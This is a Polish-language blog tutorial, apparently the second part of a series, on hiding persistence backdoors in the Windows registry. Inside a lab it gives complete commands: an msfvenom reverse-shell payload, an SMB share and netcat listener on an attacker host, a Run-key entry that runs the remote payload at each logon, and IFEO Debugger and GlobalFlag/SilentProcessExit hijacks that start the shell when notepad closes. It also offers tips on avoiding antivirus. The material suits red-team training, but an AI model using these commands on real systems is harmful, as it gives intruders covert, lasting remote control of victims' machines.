Post ten jest kontynuacją pierwszej części , w której omówiliśmy dwie techniki zapewnienia sobie stałego dostępu do systemu windows: poprzez usługi (services) oraz poprzez zaplanowane zadania (scheduled tasks).

Kolejną lokalizacją, w której może zostać ukryty backdoor, jest Rejestr systemu Windows. Rejestr systemu Windows pełni rolę bazy danych dla krytycznych metadanych systemu – w związku z tym zawiera takie informacje jak np. to, jakie pliki wykonywalne powiązane są z usługami, jakie programy powinny wystartować wraz z zalogowaniem się użytkownika, skojarzenia rozszerzeń plików z programami i wiele innych interesujących opcji, które mogą zostać wykorzystane do osadzenia złośliwego kodu. Oczywiście poniżej opisane techniki to tylko przykłady wykorzystania rejestru w celu zbackdoorowania systemu – istnieje wiele innych sposobów wykorzystania rejestru do tego celu. Zaletą wykorzystania rejestru jako miejsca ukrycia backdoora jest fakt, że tego typu backdoor może być w pełni bezplikowy tzn. może istnieć w całości w rejestrze, a faktyczny plik pobierać z zdalnej lokalizacji. Rejestr systemu windows przechowuje informacje zarówno dotyczące całego systemu (klucz HKLM), jak i aktualnego użytkownika (klucz HKCU). W przypadku tego drugiego, możliwe jest ukrycie instrukcji wykonania naszego programu w przestrzeni użytkownika bez posiadania uprawnień administracyjnych.

Klucze typu Run

Popularną techniką zachowania dostępu do stacji roboczej jest wykorzystanie kluczy rejestru Run i RunOnce – niejednokrotnie wykorzystywane także przez złośliwe oprogramowanie (malware). W niniejszym punkcie skupimy się na pierwszym z nich. Klucz rejestru HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
pozwala na globalne wymuszenie autostartu, tzn. logowanie na jakiegokolwiek użytkownika systemu uruchomi program, na który wskazuje wpis w tym kluczu. Aby móc go modyfikować, należy posiadać uprawnienia co najmniej Administracyjne. Analogicznie, wpis w kluczu HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
pozwala na zapewnienie autostartu w kontekście uprawnień aktualnie zalogowanego użytkownika.

Niektóre programy wykorzystują klucz Run do normalnego działania.

Spróbujemy wykonać tego typu backdoor w praktyce. Korzystamy z takich samych ustawień jak w pierwszej części artykułu, czyli mamy maszynę wirtualną Windows 10 bez włączonego antywirusa oraz maszynę wirtualną Kali Linux o adresie 192.168.139.214. Na maszynie Kali Linux generujemy payload reverse shella z użyciem polecenia

msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.139.214 lport=8443 -f exe -o 8443.exe

a następnie hostujemy plik wykonywalny z użyciem narzędzia smbserver.py będącego częścią pakietu impacket

smbserver.py -smb2support x .

Obrazek posiada pusty atrybut alt; plik o nazwie image-2-1024x212.png

Uruchamiamy także netcat’a w trybie nasłuchiwania, aby odebrać reverse shella z użyciem polecenia

nc -lvp 8443

Obrazek posiada pusty atrybut alt; plik o nazwie image-3.png

Kiedy nasz Kali jest już gotowy do przyjęcia reverse shella, przejdziemy do ostatniego etapu, czyli instalacji backdoora na systemie Windows. Podobnie jak w pierwszej części – robimy to manualnie w celu symulacji udanego ataku na system Windows. Korzystając z terminala uruchomionego jako Administrator, wykonujemy polecenie

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsSvc /d "cmd /c \\192.168.139.214\x\8443.exe" /t REG_SZ /f

Jeżeli podejrzymy teraz powyższą lokalizację w rejestrze systemu Windows, możemy zaobserwować nowo stworzony klucz podobny do tego na poniższym zrzucie ekranu:

Aby dopełnić symulację ataku i przetestować skuteczność naszego backdoora restartujemy maszynę Windows. Podobnie jak w pierwszej części – jeżeli jest to maszyna wirtualna, lepiej ją wyłączyć a potem włączyć zamiast korzystać z funkcji restart – w przypadku maszyny wirtualnej może mieć to znaczenie.

Po ponownym zalogowaniu się możemy zaobserwować połączenie do naszego zasobu SMB na maszynie Kali Linux.

Po chwili pojawia się także reverse shell – z uprawnieniami użytkownika, na którego właśnie się zalogowaliśmy.

W tym przypadku backdoor istnieje zupełnie poza atakowaną maszyną windows. W przypadku tworzenia bardziej złożonych backdoorów nastawionych na unikanie detekcji przez np. antywirusy, jednym z dobrych kierunków jest “niedotykanie” systemu plików maszyny-ofiary. Oczywiście w kluczu tym może znaleźć się inne odwołanie do zdalnej zawartości – tutaj korzystamy z cmd.exe z argumentem, który wskazuje na plik znajdujący się na zdalnym zasobie sieciowym, jednak może to być także fragment skryptu powershell lub innego języka obsługiwanego przez wbudowane w system windows interpretery Visual Basic czy JavaScript takie jak cscript.exe czy wscript.exe.

Image File Execution Options

Ten przypadek będzie nieco inny od poprzednich – tego typu backdoor nie uruchomi się samoczynnie po starcie systemu, ale będzie zależny od włączenia innego programu. Z uwagi na fakt, że może to być dowolny program, celem może być np. przeglądarka internetowa. Mechanizmem, który wykorzystamy jest klucz rejestru zwany Image File Execution Options. Normalnie, umożliwia on dodanie debuggera, czyli programu służącego do obserwacji przebiegu działania innych aplikacji. Aby zobaczyć, jak klucz ten działa w praktyce posłużymy się programem Process Hacker oraz natywnym komponentem systemu Windows – regedit.exe, czyli przeglądarką rejestru. Ponownie skorzystamy z setupu z poprzedniego przypadku, tym razem jednak zanim zainstalujemy właściwy backdoor, przechodzimy na maszynę Windows aby wykonać prosty test mechanizmu IFEO. Uruchamiamy program cmd.exe jako użytkownik administracyjny i wpisujemy polecenie

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\firefox.exe" /v Debugger /d notepad.exe

Polecenie to doda wpis o nazwie Debugger i wartości notepad.exe w podkluczu firefox.exe, który będzie dotyczył procesu o własnie takiej nazwie.

Jeżeli spróbujemy teraz uruchomić program firefox, zostanie on otwarty przez notatnik. Co dokładnie się wydarzyło?

Jeżeli podejrzymy nowo utworzony process narzędziem Process Hacker, zobaczymy, że firefox został “opakowany” w program debugujący czyli w tym wypadku notepad.exe, czyli został uruchomiony jako argument do tego programu.

Tym sposobem możliwe jest uruchomienie innego programu niż zakładano. Jednak ten sposób skutecznie uniemożliwia skorzystanie z docelowego programu, więc użycie tej metody jako backdoor mogłoby być problematyczne – musielibyśmy wybrać za cel program lub usługę, który włącza się w tle, np. Google Updater lub Adobe Updater (co też nie jest złym pomysłem).

Istnieje jednak jeszcze jeden sposób na dodanie tylnej furtki do aplikacji uruchamianych przez użytkownika – mianowicie, możliwe jest dodanie programu, który uruchomi się dopiero po zamknięciu aplikacji. W ten sposób użytkownik będzie mógł normalnie skorzystać z programu np. Firefoxa – a backdoor zostanie uruchomiony dopiero, kiedy użytkownik zakończy pracę z programem. Możemy to osiągnąć przez dodanie tzw. Global Flags – Więcej o tej technice możesz przeczytać na blogu jej autora: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/.

Przechodzimy więc do instalacji backdoora. Skorzystamy z reverse shella opisanego w poprzednim punkcie i przeniesiemy go na maszynę Windows do lokalizacji c:\temp\binary.exe. Uruchamiamy też listener netcat na maszynie Kali Linux. Następnie korzystając z cmd.exe z uprawnieniami administratora wykonujemy poniższe trzy polecenia:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\binary.exe"

Nie musimy restartować systemu. Po prostu wystarczy, że uruchomimy nową instancję notatnika i po chwili go zamkniemy. To wystarczy, aby po jego zamknięciu uruchomił się nasz reverse shell zlokalizowany w c:\temp\binary.exe.

Plik będzie uruchamiał się za każdym razem, kiedy ktoś zakończy działanie procesu notatnik. W technice tej ważne jest, aby wybrać program, który będzie często zamykany – może więc to być też np. program pakietu MS Office lub program służący do otwierania plików PDF.

0 CommentsZamknij komentarze

Skomentuj